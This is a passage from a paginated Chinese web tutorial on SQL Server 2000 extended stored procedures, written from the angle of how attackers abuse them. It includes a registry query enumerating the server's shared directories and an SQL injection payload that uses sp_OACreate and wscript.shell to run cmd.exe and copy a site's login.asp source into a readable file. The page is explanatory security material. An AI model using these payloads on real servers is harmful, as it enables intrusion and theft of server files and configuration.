打印本文 打印本文 关闭窗口 关闭窗口
SQLSERVER2000一些内置存储过程用法和说明
作者:武汉SEO闵涛  文章来源:敏韬网  点击数13619  更新时间:2007/11/14 12:27:07  文章录入:mintao  责任编辑:mintao
gdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

骇客可以利用此类的延伸预存程序存取系统的注册资料,例如查询该机器上有哪些共享目录,范例如程序代码列表 2。再利用上一期的技巧,以错误讯息来呈现结果。

CREATE TABLE tblShareDir(DirName VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC MASTER..XP_REGENUMVALUES HKEY_LOCAL_MACHINE,''''system\CurrentControlSet\Services\lanmanserver\shares''''

程序代码列表 2:利用 XP_RegEnumValues 取得系统的共享目录。

再利用上篇文章介绍的以错误讯息来呈现结果的技巧,或是以下文中透过 bcp.exe 工具程序将 tblShareDir 输出成档案,都可以取得想要的结果。

OLE Automation/COM 对象相关的延伸预存程序

SQL Server 提供了一组存取服务器外部 OLE 对象相关的预存程序。它们分别是:

sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop

你可以用它们来建立 OLE 对象(一般COM 对象就可以了,但要支持 IDispatch 接口),执行对象的方法,读取与修改属性,进行错误处理。但它们无法响应一般 OLE COM 对象的事件。

有了 COM/OLE 对象的建立与执行,对于控制系统来说可算是如虎添翼,无所不能了。稍举个例子,骇客可以利用它来取得有兴趣的网页的原始码,如程序代码列表 3

'''';DECLARE @shell INT EXEC SP_OACREATE ''''wscript.shell'''',@shell OUTPUT EXEC SP_OAMETHOD @shell,''''run'''',null, ''''C:\WINNT\system32\cmd.exe /c type c:\inetpub\wwwroot\sqlinject\login.asp > c:\inetpub\wwwroot\sqlinject\test.txt''''--

程序代码列表 3:取得 login.asp 网页的内容。

程序代码列表 3 中,利用 SP_OACREATE 建立 wscript.shell

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]  ...  下一页 >> 

打印本文 打印本文 关闭窗口 关闭窗口